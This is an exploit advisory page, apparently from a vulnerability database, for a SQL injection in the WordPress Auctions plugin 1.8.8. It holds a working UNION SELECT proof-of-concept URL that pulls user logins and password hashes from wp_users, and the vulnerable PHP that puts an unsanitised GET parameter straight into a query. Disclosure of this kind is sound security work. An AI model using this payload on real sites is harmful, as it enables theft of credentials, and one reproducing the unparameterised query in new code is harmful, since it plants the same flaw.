Lucene search
K

WordPress Auctions 1.8.8 SQL Injection

🗓️ 15 Sep 2011 00:00:00Reported by sherl0ck_Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

WordPress Auctions 1.8.8 SQL Injection vulnerability in edit and relist action

Code
`# Exploit Title: WordPress Auctions plugin <= 1.8.8 SQL Injection  
Vulnerability  
# Date: 2011-09-09  
# Author: sherl0ck_ <sherl0ck_[at]alligatorteam[dot]org>  
@AlligatorTeam  
# Software Link: http://downloads.wordpress.org/plugin/wp-auctions.zip  
# Version: 1.8.8 (tested)  
  
---------------  
PoC  
---------------  
  
URL:  
http://localhost/wordpress/wp-admin/admin.php?page=wp-auctions-add&wpa_action=edit&wpa_id=-1+union+all+select+1,2,3,USER(),concat(user_login,char(58),user_pass),DATABASE(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+wp_users&_wpnonce=e04f105b8e  
  
---------------  
Vulnerable code  
---------------  
...  
elseif($_GET["wpa_action"] == "edit"):  
$strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];  
...  
elseif($_GET["wpa_action"] == "relist"):  
$strSQL = "SELECT * FROM ".$table_name." WHERE id=".$_GET["wpa_id"];  
...  
$resultList = $wpdb->get_row($strSQL);  
...  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation